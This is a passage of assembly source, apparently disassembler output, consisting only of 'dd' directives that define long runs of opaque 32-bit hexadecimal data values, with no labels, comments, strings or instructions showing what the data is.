		dd 36D849h, 0AE2B9B32h,	9111FE53h, 0C0B520C7h, 0F8DDE01Fh
		dd 137F2F5Eh, 1650D481h, 999800DCh, 3F53F964h, 56046000h
		dd 0D31CFDD1h, 47A7028Fh, 22E62D40h, 0FE0E943h,	6500C794h
		dd 26B0088Bh, 0A0629Eh,	9F5B29D6h, 0EE96AD7h, 0D1BF6951h
		dd 729C40C7h, 0E53C7F35h, 55D21C70h, 2C14BB80h,	177D76D4h
		dd 20D583F5h, 943A3C8h,	0C11D009Ch, 415AED40h, 9147AEh
		dd 0D7A75F10h, 616A74E8h, 4A0120BAh, 6E87E94Fh,	0E8C71425h
		dd 30C5DC94h, 6FC8BF1Ch, 6800792Dh, 0C38B9B67h,	0AACCA2h
		dd 0E7F024D9h, 0C8ECCBB4h, 94904600h, 83E84ABh,	5480C0FBh
		dd 0FD1A825h, 4E016917h, 74407430h, 9AED488Fh, 0C220BD00h
		dd 0C9D6ABCAh, 0B0C09578h, 9A5DDB77h, 51D30B4Bh, 70A0D006h
		dd 0E0722931h, 7C75F124h, 8EFF1601h, 0EDCC4844h, 0ACC358D8h
		dd 0F5598300h, 0F01FEB9h, 85291139h, 2D7CA7Bh, 0E0EBAAC3h
		dd 0EAD421h, 6D134CCCh,	0F692F2DDh, 0C8A1102h, 0E0235A22h
		dd 1260649Eh, 27F54F4h,	0C44AEE14h, 2EB99CE0h, 0CE402F00h
		dd 0E04E1A5h, 8B832DACh, 0DD539080h, 7900A4AEh,	0BFD0752Fh
		dd 171527ECh, 0EBA19Bh,	4BAF6EB4h, 0E9000454h, 860A67FAh
		dd 12CCA66h, 6C97BB9Bh,	34207ADCh, 781E7B08h, 0E0B0C01Ah
		dd 9F0176h, 618E99EAh, 0E1E3CE90h, 323BF098h, 0ED161E84h
		dd 0A095968Fh, 7CF6CDD3h
		dd 80B0017Eh, 1BFFDCEBh, 0AAA2F40Dh, 55CB2700h,	0CA1873B3h
		dd 5A0C0EFCh, 7DC0C6F2h, 2A43E2B2h, 25EA5DFEh, 99D7D904h
		dd 4806BCFh, 0E90C9h, 89BD7F5Bh, 0FC879796h, 0E60CAB00h
		dd 0C7540F17h, 0C343002Ch, 9C155E53h, 500A1F1h,	2BF647D2h
		dd 1D8870Eh, 0A770B08Dh, 0C4B9E957h, 0A100FE74h, 0A5715832h
		dd 0F00C317Bh, 0E35E00CFh, 7D6CA98Dh, 1600F926h, 60694686h
		dd 4C73549Bh, 7701C8A2h, 83A71B8Dh, 0CEEC245Fh,	6A3F8400h
		dd 94935980h, 49DDE239h, 57001418h, 79BC4F5Dh, 5B012391h
		dd 905C0631h, 0A824EC36h, 21571653h, 4D30FA1h, 32F21B20h
		dd 3A07FAB5h, 6AA6748Bh, 0AD72D860h, 5A34FC41h,	832C0F43h
		dd 58C6636Fh, 0A073911h, 2191B572h, 0F8166C50h,	9AC0F9AAh
		dd 1C807D97h, 2E15DD8Ah, 0BFE6052Ah, 239C019Eh,	3C03EE3Ah
		dd 0D179821Ch, 2A16E1F7h, 4367F70h, 0C2F40DA9h,	0E7E88011h
		dd 0D2071316h, 0FEE39C08h, 0A4501F20h, 2201007Eh, 0D6786137h
		dd 0D30007EFh, 47FABE03h, 609BC219h, 7A4C4466h,	0B9501F43h
		dd 0D1664ECh, 68074628h, 0DD978114h, 4230ADA7h,	371FD4h
		dd 8AAF8C63h, 0B006A62Ch, 268B9817h, 0EBD9D001h, 74606602h
		dd 53EC0091h, 0B738873Bh, 341CEAE3h, 0CC8072A8h, 0FE17CD0Ch
		dd 4B000D6h, 20EB8627h,	37E88351h, 0D952EC01h, 0E15A60A9h
		dd 5CC42FD8h, 0EC7D9970h, 0BB7E3FF4h, 3AC36F00h, 23FEFB2Ch
		dd 5C0E6A24h, 0E0A7F80Fh, 0D058CA9Dh, 281E034Fh, 6CA21B29h
		dd 79F83188h, 8C19E426h, 0F524D380h, 0F2FD8Ah, 4C6E4EB6h
		dd 98DF55CAh, 2671A20h,	2C52B7F0h, 0F883A1F4h, 0A8B8A08Bh
		dd 0BB267184h, 8A007CF9h, 0FB5136CDh, 2B813D31h, 0FE4AC280h
		dd 3C4417BAh, 8CC67D00h, 0C83D4366h, 0BC8F1EC0h, 477A1C37h
		dd 502579B9h, 657FF52Ah, 0F29E1A16h, 0FAC413h, 0CB108369h
		dd 110F3FDEh, 0DC1B44h,	821E369Bh, 517231EDh, 793A13C0h
		dd 400075E4h, 88111931h, 0A0E59349h, 1E8F1D1h, 1E46DBCh
		dd 80F2247Bh, 0AEEEFB19h, 71D7A2B0h, 2B8E0017h,	0E7E20F07h
		dd 550AA821h, 0FDA65A81h, 18437000h, 98C7A0h, 0CE787FC2h
		dd 626AA708h, 0FDD77A00h, 295DF42Ah, 0C9DA00D5h, 0FC20653Eh
		dd 59161E77h, 240FCBB6h, 260017FBh, 30AA3E5h, 0ABA20E90h
		dd 0FC0AD8CDh, 5E7300A8h, 2F6C3441h, 36452001h,	7681F5C0h
		dd 9F07D06Ch, 0F799757h, 8A302E60h, 0B89E6C8Fh,	0D6C51280h
		dd 7F2D371h, 9A46BE37h,	10E3F0FAh, 992DC383h, 0DD1003D2h
		dd 0ACE8A8EEh, 0FA427B7h, 4B57000h, 0C4BA3345h,	2289F400h
		dd 9399E37Dh, 3667005Ah, 4BC373BAh, 0A801B460h,	280A3390h
		dd 1AFC18CCh, 0DF253D4Eh, 0EBD7E680h, 6445ECA3h, 2608CD48h
		dd 0B10E9829h, 0B3A8408Eh, 0A083B080h, 4EA7C4h,	7AE05451h
		dd 0E7AB8CCAh, 7717889Ch, 0DFB7D000h, 7E01CE21h, 8495072Bh
		dd 106BB66Ah, 1DC1DC9Ch, 70C5D824h, 24D28C00h, 941E3904h
		dd 0DC768ED8h, 3E25AB40h, 0BE70C5E2h, 0F80090B8h, 40D9A4F9h
		dd 0C96724h, 0CC8E7292h, 82533717h, 6B151300h, 0EC02BC8Dh
		dd 50A2000Fh, 6A3F8EAh,	3F1764EFh, 20802A16h, 0B05952h
		dd 514F82E4h, 0A5FD8B35h, 8D0129F0h, 381BBB33h,	17EC3052h
		dd 3B2B019Ah, 86A4B91h,	0CD84D866h, 3D1038E3h, 9B208071h
		dd 0ECCE27A2h, 0B492A4h, 1113DA07h, 50DC1AB3h, 9E3CCA73h
		dd 0D89EF3DDh, 33634000h, 1E22E164h, 2F7B963Ch,	0F16E84A3h
		dd 0BE2EFC00h, 0AEA32B23h, 0CAD48F6h, 0E59F1708h, 0F1C484Bh
		dd 1CEC91CAh, 301A808Bh, 0B74AFAB0h, 9B0BF500h,	0CF9091EBh
		dd 0B37295h, 3386826Ch,	5B0602D8h, 0DC13472Dh, 51003E42h
		dd 4A71F73Ch, 1F77F9C9h, 0BEA6F800h, 282ADFFFh,	8630009Ch
		dd 0E4324DBh, 5DEE6472h, 0A8AF772Eh, 0E3C2F242h, 158AE0A5h
		dd 0EDD806F4h, 1162757Bh, 8200B8EAh, 0C4665472h, 39DE9023h
		dd 0AE85E0ECh, 0C7D640E9h, 67BB410Bh, 4F6AC4B8h, 50598D00h
		dd 41ACDE6Bh, 16217DBDh, 1B9FC1h, 54F7C841h, 1D003313h
		dd 27B59EBAh, 0A071AABFh, 6C65ACh, 0ED2306E9h, 566CB8Bh
		dd 0BBAC9C1Eh, 7E9F8CDFh, 47D79340h, 0E0EFAFh, 0F75877C7h
		dd 0CCF9B907h, 959EC100h, 1D618651h, 400127DEh,	0E3EEC81h
		dd 304B2AEEh, 35AB82E2h, 53A4E0EDh, 0E445006Ah,	803BB609h
		dd 0C5009A63h, 81ACA29h, 1DF07F1Fh, 0CC503F2Ah,	0CE28E7B2h
		dd 97758300h, 4FA52856h, 18E8D8h, 4DB88D9Bh, 74111D7Eh
		dd 0AC07D400h, 2205F7DBh, 4338036Dh, 0B1836391h, 4A8A7DD0h
		dd 0A10D1A06h, 0A89026h, 73244ED7h, 22FEF0D6h, 0C406494Ah
		dd 403008B1h, 0D0E78072h, 5801A101h, 3956BE1Ch,	7F700294h
		dd 18B13B5Ch, 3EAAC500h, 67CDF026h, 0B603E978h,	7510ED36h
		dd 0EC90EC7Eh, 74FE1A62h, 0F88F957Ch, 24A0C78Fh, 5D2D2902h
		dd 2839D40Ch, 18807182h, 287DFDDEh, 8CEB42F8h, 98028A49h
		dd 14525782h, 49381271h, 38EAC13h, 99DFB309h, 0D01BD0FAh
		dd 19540085h, 915EE4F1h, 5900D26Eh, 46A9C6C7h, 0FEFB4376h
		dd 25C858F5h, 58F2D000h, 6036C4EDh, 0ADE30A0Fh,	197C6015h
		dd 4A5E7F4h, 0EF173993h, 96DF809Dh, 0EA1686B3h,	0FB004097h
		dd 0E1DE3EF4h, 853B0042h, 811D28CEh, 0F1904A01h, 76BA5700h
		dd 6083D099h, 9B070061h, 4AD852F0h, 280122DAh, 0D9378441h
		dd 91D4E6E0h, 0D7813h, 0E1739C15h, 5A3DACE7h, 0F734E400h
		dd 12100FAEh, 9B2707E9h, 0AE4B5E24h, 0B57C6AC0h, 73039FBDh
		dd 33561251h, 0B018FB59h, 2CD17h, 60D08825h, 419B8429h
		dd 3C090D00h, 0E9467856h, 98D4A9FFh, 1303AC0h, 555CE528h
		dd 0D15D3D11h, 77246C82h, 5E3A0803h, 0E0FAE515h, 0A97A529h
		dd 76D7ABF9h, 0F36483DCh, 3CB846F1h, 4300FA17h,	0CA7FF72Ch
		dd 7C5E8182h, 0E5D80C01h, 47803E78h, 39E7048Ch,	62ED290Bh
		dd 0FD221A7h, 1CD8603Ah, 0C9029302h, 0E0238F06h, 0D320722h
		dd 2E3FC452h, 80402F70h, 466FC997h, 841600E8h, 0F6207770h
		dd 0B4BA2108h, 0E60E9EE2h, 81D651B8h, 3EBF7D25h, 40750892h
		dd 0B8EEF194h, 502547F0h, 0B77423h, 0F93C022Eh,	57633BD2h
		dd 2E722170h, 10C231h, 0B619529Ch, 7E7F652Eh, 0F326C426h
		dd 683A8400h, 5EFEDAh, 9E2BCD77h, 0F38C7FF6h, 9C708D28h
		dd 0E9035F01h, 6278746Dh, 0C03545F0h, 21B91570h, 891C0892h
		dd 9300A642h, 5FF5207Dh, 0B6F6B3h, 841967B2h, 0D7FEDB35h
		dd 0A78D0407h, 9520A307h, 0F0B52685h, 1FF1F380h, 20BC2BE1h
		dd 75DDB606h, 0BD0031D4h, 0ACECD8DBh, 0AB48FBh,	0C413D53Dh
		dd 0CA74145Bh, 0F121AD00h, 88AE966Bh, 3F6C00C3h, 0C607EFC1h
		dd 0B8008097h, 0A5938A44h, 53A77594h, 419C1499h, 96A83C89h
		dd 2D9980BCh, 8C6205ADh, 21850C59h, 68B19250h, 4F3A8FE1h
		dd 94118583h, 0DDD30C44h, 8815821h, 15E342EBh, 2118A9DCh
		dd 19A019F3h, 0ED49F410h, 0EAE26182h, 0E788A1D2h, 0A0808C99h
		dd 5E909CACh, 0E831427Bh, 0F2052118h, 1847EAD4h, 5181112Bh
		dd 0BE506F26h, 9300761Ch, 11436CADh, 781BB432h,	0E81C78BBh
		dd 0D76F0803h, 0A70730EAh, 10826ED5h, 6108874Eh, 962783h
		dd 91452D71h, 0A8A39AF8h, 0B8293F72h, 892694B3h, 105100Bh
		dd 0A6CFFCB4h, 708A1882h, 0CFC0458Ch, 0FCA823F8h, 7A1F2B73h
		dd 0B7405247h, 540C3975h, 1508EE2Eh, 80149B50h,	0B5312F30h
		dd 0B90091E3h, 7E51BD7Bh
		dd 555CB6Bh, 93E073A6h,	0F12C0003h, 0EF856E7Ch,	0AE262400h
		dd 0C470F816h, 0DCFC0087h, 271C0D3Dh, 0B2CB0FFh, 0C600A12Fh
		dd 5BF24EF9h, 7C54908Ah, 31D7070Ch, 0B318AA42h,	1803B8C3h
		dd 8F826A14h, 90D92CD6h, 0C0630036h, 64B9EE2Fh,	8DC24200h
		dd 857E4669h, 0FE111889h, 444E992Ch, 3595AF00h,	6240147h
		dd 337E017Fh, 85215D90h, 3881F057h, 0CDDB3402h,	815CF397h
		dd 0DE5028B0h, 3E2EEC51h, 76B0C451h, 952CB30h, 9B816D3Bh
		dd 53D62E80h, 0D9009827h, 194CEEDDh, 93FAB67h, 7A8F8813h
		dd 6EB87800h, 0A5395175h, 0E9DE0082h, 0B4B19CDAh, 130E1481h
		dd 0C1FA04B5h, 113C56C2h, 603152F0h, 2646D076h,	5075FB36h
		dd 0C1C63F8h, 0B3874213h, 8B115261h, 2888AF70h,	0A991730Ah
		dd 0A47BDB00h, 316421E0h, 3A143E00h, 18D91953h,	2C0A3E71h
		dd 28011B3Dh, 6AF69A1Ah, 5AC2C8E6h, 1EBAF300h, 0E598B1C6h
		dd 97CB1C6Dh, 4E1840E7h, 3CFBD6FAh, 51F44B00h, 935D556Ah
		dd 6404006Fh, 72F2A70Ch, 1A0016A2h, 7A415F20h, 0CD2F01h
		dd 5ED960F6h, 0E540425Bh, 5534B3Dh, 0DEDC67CEh,	0F580E900h
		dd 260E39h, 0FB3AE9E0h,	4A97515Bh, 314CA500h, 0DCEECCCBh
		dd 0A0F300FEh, 4783743Ch, 451E5433h, 90000F72h,	0C3BD0E7Fh
		dd 59630F77h, 3A20A7ECh, 82F19D1Dh, 4D3E6770h, 3BEE80BCh
		dd 6861B087h, 0C78A012Eh, 4F6B0D9Dh, 0F77DE837h, 6A31D500h
		dd 36BA5D10h, 85F8002Dh, 29461335h, 0D401B1CBh,	0DA3DBD21h
		dd 90FBABA5h, 0E7B3A76h, 721D96CAh, 31D2E220h, 1100CB15h
		dd 6A0182EFh, 1E1BC866h, 8026CFD7h, 0E3CE3527h,	0D8008CC0h
		dd 0BDD4672h, 676B8176h, 60FC60D0h, 0AC07146Eh,	708CBA0Eh
		dd 0F4F00031h, 0EADA6A4h, 0F6055F1Eh, 49E45566h, 7F5EC800h
		dd 0DAA17C09h, 9C500E99h, 0CDA2D48Bh, 0B48174E8h, 0F019044Eh
		dd 0B5007F87h, 2D9734C8h, 0A80F71h, 2985709Eh, 79010C31h
		dd 0E4446003h, 0E8976125h, 78CA46F9h, 0BE5E006Ah, 0EAC4DB4Eh
		dd 0E001B49h, 0D122CE2Fh, 48C5AADFh, 8F006C5Dh,	4EB57AC2h
		dd 0AD006D74h, 88C4F2D2h, 48D1C951h, 0CD07433Ch, 302AB705h
		dd 0EA1B0E68h, 0A8624B30h, 0AF9DCBh, 0D43390FFh, 0AA262AFCh
		dd 0EC9EBE01h, 0CA195831h, 1A3FC24h, 0FFAAD7Bh,	9FB3096Eh
		dd 0E500C1E9h, 47B68ECEh, 2BD00094h, 53C6F622h,	0B200F170h
		dd 0BB88ED1Dh, 79A84AD3h, 2BB40698h, 78915C59h,	41079C87h
		dd 1EB067A3h, 0B8C7C5h,	0BF315306h, 5B6E4D12h, 1C3D74CAh
		dd 8007A0E3h, 39AA45Eh,	3C2E9258h, 0B9C9494Ch, 8BD7EC20h
		dd 3807BA00h, 9F6A430Eh, 93D52D12h, 0D000B976h,	72203BBBh
		dd 0B84C0021h, 33992278h, 0C538A3E3h, 0A65B07C9h, 0B8051EEh
		dd 9D2747h, 0BD7AE748h,	0E9EC362Fh, 10C024B0h, 90300BB4h
		dd 0AE2FE92h, 5A191B06h, 4AC03A4h, 9AF9C5B3h, 0AAC2413h
		dd 0B25C7C00h, 53FAD1Fh, 0C779A0h, 9B6AEC31h, 5A248050h
		dd 0EF0E97F8h, 0C0C0372Fh, 4303D866h, 1BBF00DFh, 97E514E2h
		dd 63019E3Fh, 0B2DB4641h, 7AD4DE3Eh, 0B8C83AE4h, 4994F31Fh
		dd 0C21CE72h, 23248990h, 0E66F1D34h, 0C69F0079h, 8FCA80A4h
		dd 4AF757Eh, 88CC1CFCh,	81A0C3B8h, 0CE5F02A8h, 3F18D190h
		dd 0FFC87320h, 0F5B00Eh, 19344B89h, 0D66D12DEh,	9206F4A7h
		dd 239C70Ch, 0D0479853h, 6BC0FB0Ah, 96008E5Fh, 0C1A185ECh
		dd 2426082Ch, 0C0445ADDh, 0C853354Bh, 5767AE00h, 0FFACB4D9h
		dd 88A24D06h, 0E3509300h, 0BC606B12h, 0D1264F00h, 250BF34Ah
		dd 0C9553824h, 8A8103B0h, 39508F92h, 5E0554ACh,	78EEDB96h
		dd 452FD440h, 3410FF1h,	0A4F50598h, 0C88E952Dh,	0B6A33A00h
		dd 43B550E5h, 97BD007Dh, 0AC9CC60h, 0D807AF9Ch,	3588B23Ch
		dd 2C0FB9ACh, 5034461h,	32B620DCh, 0FCC2EFC0h, 0CCC45861h
		dd 92007E70h, 0F66C944Bh, 2B0DC641h, 3EB886B1h,	6E1BED00h
		dd 22F291BCh, 0AEB3C11Dh, 802D79C3h, 0D546D8F7h, 8D74004Ah
		dd 1A1ED838h, 0A8A02E6Ch, 5F80B472h, 4D9000B5h,	0F4D06366h
		dd 42E7E35h, 0FF03318Fh, 0F0262908h, 484E8913h,	2800506Ch
		dd 0A58AC0BFh, 200090A3h, 3ADB476Bh, 1A2572Dh, 0AB0D55D1h
		dd 608AA7EAh, 0D20125BCh, 0AFFA1466h, 9C435DDFh, 211FC8D0h
		dd 0ECD6151Ah, 0D40F949Ch, 0EF8356C3h, 0C898E076h, 130005F7h
		dd 8C84ACB6h, 1DB0CD2Eh, 0C63C6815h, 0A01127CCh, 3FFEAA73h
		dd 0FF4E3100h, 2A09A7EFh, 43B61CE5h, 6CC0C250h,	784E6245h
		dd 0B871EF29h, 0C2741115h, 62E352A4h, 0C7C80234h, 876540D2h
		dd 0FBCB04CCh, 0C0959EF9h, 3C6D4A20h, 0E7F7AA00h, 81789DADh
		dd 119B0031h, 0DD1A6447h, 7D059F0Dh, 0EEDCFE59h, 2A6BD800h
		dd 484127CFh, 4850A82Eh, 2661F468h, 810484FBh, 7EEB126h
		dd 0C3BC3278h, 91C27EF8h, 0C60DF21h, 0F65601CDh, 95C5040h
		dd 437C2461h, 5AD362C0h, 0F3058DC5h, 35B55880h,	868A498Bh
		dd 9626FC0Bh, 66400A0h,	19D94E8h, 0E92BB0ABh, 509B4656h
		dd 40A17DD8h, 2B38E0Ch,	1EEB8EAEh, 40F94808h, 8AEF0D75h
		dd 9D1C0771h, 0E4C03CF2h, 37A0AA2h, 1E7C12FCh, 40581D49h
		dd 0CED54B41h, 3B0CC53Eh, 60762409h, 0A795006Bh, 36A6077Ch
		dd 0E28634Ah, 9A01B78Ah, 3F429F76h, 79FD4C47h, 1DD83084h
		dd 5AEFC09Ch, 4100FF8Bh, 5C540E20h, 3D792F0Ah, 2A80C058h
		dd 86FA74Ch, 0C202DCDAh, 3386F557h, 0AD4C408Bh,	0DE2F09FFh
		dd 1F80D5EBh, 6C3D19ABh, 9AF58301h, 5ED69944h, 5445D4h
		dd 301FD942h, 0B966D5CDh, 3DEAFE03h, 0A23EF68Ah, 586040FCh
		dd 0D0C755A7h, 0A2FA6F42h, 0C0E245E4h, 3B7936A3h, 580B96Ah
		dd 0CC7157B1h, 10E4E6D5h, 0BA650B1Fh, 0D62462C0h, 0EA67BFh
		dd 5892735Fh, 89684A47h, 0CEF58100h, 0F16ED087h, 3313394Eh
		dd 4032620Fh, 9BB5003Fh, 1AA03E94h, 0AB26A00h, 0D2DBDE5h
		dd 7CDAF8AEh, 5ADE00C6h, 0CACD0F6h, 7600BF92h, 0B5CCE90Bh
		dd 0FA8BD444h, 0C57B02h, 0C7AD1162h, 4079ED1Fh,	9575362Eh
		dd 0CE3D803Dh, 978C4CF3h, 50731567h, 0D212A80Ah, 7F421D1h
		dd 0DE980062h, 4D470263h, 5D69CB2Dh, 0BB03C850h, 413219E9h
		dd 0FF5AE049h, 3CACFC02h, 0DD2CBAEEh, 10B8838Ch, 6B9A9386h
		dd 0B4986050h, 3CA5383Bh, 262B8B58h, 8284A9CAh,	48E0B41Ah
		dd 0C090B758h, 2D65089Ch, 0CC00ECE2h, 2B9D37D2h, 2C26861h
		dd 0A0421615h, 54685775h, 2870CF74h, 80248859h,	89425AD2h
		dd 95A6000Eh, 3A2260F3h, 0AF003FA1h, 0D1FF2303h, 715169C0h
		dd 150116E2h, 0D4D1031Eh, 3DA8A950h, 0F417FFE5h, 0D00B1A47h
		dd 5976073Fh, 8099F5A3h, 72E92Eh, 0F9A2628Dh, 7830EC2Ah
		dd 0EC2C3F24h, 89038780h, 7AB66A85h, 98647B10h,	0B58B21E0h
		dd 57459100h, 10940FCh,	0A51A5B03h, 5093F9B8h, 5C155AA4h
		dd 0F090E858h, 690F25D5h, 589E5876h, 9B44988Eh,	95B40060h
		dd 0C5CADC6Fh, 46583FEAh, 721DE018h, 0FD620193h, 0B16B8824h
		dd 0D3188156h, 6A4A96FFh, 172064h, 872B9ABEh, 0D4701DC9h
		dd 0F456600h, 0A9D59968h, 24810209h, 0E3471690h, 0B7670051h
		dd 8C0B1255h, 4A50989Fh, 0AB3F0146h, 0DFC39EFEh, 53843433h
		dd 0D0E5262Ah, 230090B8h, 0C80370FAh, 0C040EF15h, 0C73092C1h
		dd 987DFBBBh, 0FE45C909h, 0C39CA097h, 499C5912h, 4603505Ch
		dd 4D48F74h, 0B9DE1DA0h, 9F6839h, 228E4535h, 0C334DDh
		dd 27DFC581h, 0FB71C90Eh
		dd 4D6FA000h, 0E4D488C7h, 0B5850772h, 0BFDD97AFh, 9AD0E140h
		dd 71003E3Fh, 14F4A4D7h, 5ABE3E6h, 0B3BB0181h, 5FF44269h
		dd 146086C8h, 41E16A09h, 50BEBFF4h, 3357FAB8h, 8BEB160Ch
		dd 712FB117h, 10DE60Eh,	9CD15CFEh, 704ED7B9h, 963A0C27h
		dd 0DDC080A6h, 56AEF8CEh, 62EF0073h, 0C5121B3Eh, 8A3F4696h
		dd 0AD0070AFh, 0EF9ED1A1h, 0E4C1FF32h, 939C00EBh, 8630CA0h
		dd 0CC0042A7h, 21D10568h, 31B8C3h, 94823472h, 45A14BA2h
		dd 0DF14E100h, 0EF1B677Fh, 64102624h, 9370B18h,	0E001AC0Eh
		dd 38D18CA7h, 0CF9B0000h, 0D23E5EAFh, 136E0FB9h, 405E70A5h
		dd 8F22E4F8h, 0EA009048h, 0CA56FD61h, 941155h, 16763C7Dh
		dd 0D228C7D1h, 280CF59h, 3043AB04h, 0EBDC68BFh,	160324C7h
		dd 572381C4h, 30BA95F8h, 78169E6Eh, 0D0007C5Dh,	4E8B7FFDh
		dd 525E012Ch, 0E4535AC9h, 7EB4603Dh, 1C9F2048h,	505FD88Ch
		dd 32D9AB80h, 0B5CA1Eh,	15E42507h, 0F5BE35A6h, 4975C300h
		dd 0B869868Eh, 821A0391h, 52E39DEh, 550B01A0h, 0A4EAD1E6h
		dd 0E61FDD0Eh, 704B206Ah, 0FFC79Ch, 0A1740825h,	11DD5D60h
		dd 0C6D09607h, 48D02947h, 7ABA942h, 0AF4EED68h,	122BF09Fh
		dd 1C0FA6E6h, 833AC7A4h, 0F8EB5E74h, 9D597Eh, 3B7CE3EDh
		dd 0F7E8B92Eh, 0E67D0B00h, 90BB2D14h, 501C00E1h, 5C823BE7h
		dd 0DD0091F3h, 0AF8B9F6Fh, 35CEAEh, 18FB5F78h, 14D979FFh
		dd 0B8633203h, 90812AD0h, 0BCF3173Bh, 86B60056h, 93E6A630h
		dd 8E65A300h, 0C8AF0D11h, 2F2B3h, 77B823E8h, 0C362DC99h
		dd 10D8BF00h, 0D05D4514h, 17B00084h, 0B37559C5h, 0BBF68E6Bh
		dd 0F48AFF6h, 22970220h, 40E39BFDh, 38B1ADDCh, 0FC002552h
		dd 9E9AE0AFh, 8E07B0B9h, 61EE0575h, 4440400Eh, 74A86Fh
		dd 0D45D4202h, 0D77E3368h, 964F9A09h, 0A0200C26h, 3EAB5h
		dd 32F1F0F2h, 0DB157C6Eh, 991E8DE4h, 7440FF58h,	9695F230h
		dd 50603BB6h, 0A5B0DB00h, 847FC6D4h, 0A1667600h, 4799BD70h
		dd 7C5500D0h, 6ACE7858h, 0E00C42Bh, 277B6F76h, 4A960426h
		dd 6B5C00A3h, 57A679E9h, 0A45EDFA0h, 6941B100h,	0F963BBBDh
		dd 34E10042h, 0A5ADC053h, 0ED021A9Bh, 54CAA17Fh, 0B3306881h
		dd 0A0103E6h, 0BA73F97Bh, 36CCD912h, 5C60D813h,	0EC85519Ah
		dd 8EA700D4h, 0BB7443CBh, 0D7001D75h, 0D2A904BDh, 0D08081h
		dd 5A97A5FFh, 8B1FA4B8h, 0FA89EA02h, 0C3315023h, 39DCE87Bh
		dd 7DF800BAh, 3D2990B2h, 10064E8h, 9F2EE6C2h, 37A6C8h
		dd 738D50DBh, 0DD7F0A85h, 0F7011902h, 0E3DEBA4Eh, 1E69A0E4h
		dd 9B7200D9h, 0BCC84F43h, 14035A5Dh, 0C1DE821h,	3AF6A87Dh
		dd 3F880025h, 6E638BE9h, 0E00604Ah, 52C64F8Ah, 58BCEE65h
		dd 6C0085CAh, 0DCF679F9h, 0F100C3D2h, 621D15A5h, 1C49066Ah
		dd 817CB423h, 4F0CB0Eh,	7ADAEC6Bh, 0C090C600h, 85D03851h
		dd 46F70078h, 68186D4Fh, 0A50143F2h, 8AF9804Ch,	0BC2C7E9Fh
		dd 0D6D06400h, 0ABAA4DEFh, 36BBA112h, 2CF035A0h, 1EC065B4h
		dd 0D583CEEAh, 4BCBC03Dh, 13A7649Dh, 0F5DAD150h, 8303F62Ch
		dd 0C9F10D01h, 0CC6023E3h, 4ABF0022h, 8EA825CAh, 826116D5h
		dd 2A8FDA18h, 0D903E038h, 0E7173056h, 91D30812h, 868044C7h
		dd 394BB31h, 3C11EC47h,	20A8DDA0h, 19177D6Dh, 0F9011FCFh
		dd 0DF60F79Ch, 0A4A8E0h, 78BF2B1Ch, 0AC153608h,	2FE33C00h
		dd 0FE96C822h, 0E7BE00F9h, 2A04305Eh, 0C8B6505Dh, 620A4C1Ch
		dd 0A680887Ah, 7E8E1F38h, 4EFD0030h, 4D3215BCh,	1D00DA26h
		dd 449A9966h, 2089456h,	0F3A9401Fh, 20801903h, 0D98010FCh
		dd 16E9E617h, 0BB308800h, 6E5232E7h, 0BE6A70B5h, 77E6480h
		dd 8E0014C7h, 3D548801h, 199D7DDCh, 6F598057h, 70E46968h
		dd 7C50FB0Fh, 49CDE2C9h, 78500Ch, 0DB27F29Dh, 0C489CB58h
		dd 17B94D07h, 0D010F0B2h, 0D4475CCh, 88C5C6B0h,	40026181h
		dd 90EC8DABh, 1F587718h, 0C3555218h, 61828108h,	46950AC8h
		dd 0EEEA000h, 0E597082Dh, 9ADA1320h, 5CD9008Ah,	487C36BFh
		dd 9F395060h, 1964D18h,	43D2583h, 0D0977691h, 5E00567Eh
		dd 0D3DCE30Eh, 0FB63C9h, 838EA561h, 0BE086A10h,	0A1B1C530h
		dd 0E3243E5h, 4B27641Fh, 0BBB28180h, 6D3F2651h,	107A0F77h
		dd 38B400E3h, 0CE203D3h, 0EFDA638Fh, 0C1072141h, 4C279996h
		dd 78AD8C3h, 488D2A19h,	4E8E10B7h, 7F50A461h, 0F000A0B7h
		dd 8F20BAB6h, 98788698h, 7E5186Ch, 84BCD9E7h, 0C00C2EEh
		dd 9159A6D5h, 0F8C157D9h, 0FB78B7h, 362D9DF2h, 0A4C6B293h
		dd 0BE45D003h, 7BC97D9h, 0F0565E20h, 0E0CE2013h, 0CA604E5Ch
		dd 0B0F5B210h, 0F610032Ch, 0F93B575Dh, 0CD970818h, 0B0DED220h
		dd 3312002Ah, 0B3E22D8Eh, 7C605CC6h, 0C8B5FA41h, 85371E71h
		dd 0CC5EC09Dh, 872CEB51h, 634A4239h, 921330h, 29460350h
		dd 0A7A6BC9Ah, 0D62BEB01h, 40AD95CFh, 3C59A0h, 8D104A18h
		dd 1201460Ch, 7D625F00h, 9773FC17h, 0ECCD009Eh,	39262E9Ch
		dd 50C1BDA6h, 0B064C9D7h, 0C673F088h, 0ED2F9200h, 0F6709Ch
		dd 0CF06E48Ch, 0BF9BE8F4h, 59160507h, 9E8797D3h, 99C0B644h
		dd 4003C1h, 6D6932A4h, 0DB6F55F7h, 4B019AB8h, 8D1B863Eh
		dd 0C4CD9CBDh, 7A9B20h,	0D75AF85Dh, 9BB437A0h, 0E7483A73h
		dd 0CE3AA5h, 0B97A8AB8h, 3B9886h, 842AF993h, 4DE9FAC0h
		dd 0F01FD900h, 27BED51h, 9EF80176h, 0FE0E9794h,	0E969708Bh
		dd 28252D01h, 710A6154h, 9E041D0h, 21AEC6A0h, 0A86E5901h
		dd 0D369F8B6h, 6B52BE18h, 77FB410h, 22E82EEEh, 0DAD0B15Bh
		dd 68A1FC5Ah, 4FD20C0h,	60880AF2h, 0DA541060h, 0E0048C2h
		dd 9A8FA594h, 3BC066h, 0B7F806F4h, 61716B54h, 4800C1E6h
		dd 99155ED3h, 81B942h, 80177CDBh, 6D880C56h, 0A3C951C2h
		dd 7F1CE093h, 855B00BAh, 0F5CAABC3h, 94066433h,	51BEB676h
		dd 59E400B1h, 5FB2C7D6h, 6100F8BFh, 0C53537BBh,	67D25CF1h
		dd 31EF2954h, 806ABE1Dh, 32280311h, 0E084A63Dh,	480100BAh
		dd 0F3859F1Dh, 20784ECBh, 86EAE03Bh, 5560DE6Ch,	0DFAA0738h
		dd 2049A7EDh, 0FEACB173h, 0E9B50132h, 40BA8F02h, 0B88CE6C8h
		dd 57D0C3A6h, 609FF627h, 75BE5607h, 21695003h, 80BC617Fh
		dd 2E5CA32Dh, 17658EFDh, 0CF810C51h, 3F6FB7B9h,	785F00B1h
		dd 0B5EAD3h, 6717697Fh,	0E415EBA9h, 0DBC2A700h,	0D1C855E1h
		dd 0B6980CF3h, 6B81C917h, 4177F700h, 690DDBB3h,	88807E2h
		dd 5303572Bh, 4FC18DABh, 89698650h, 37087766h, 0CF41FF15h
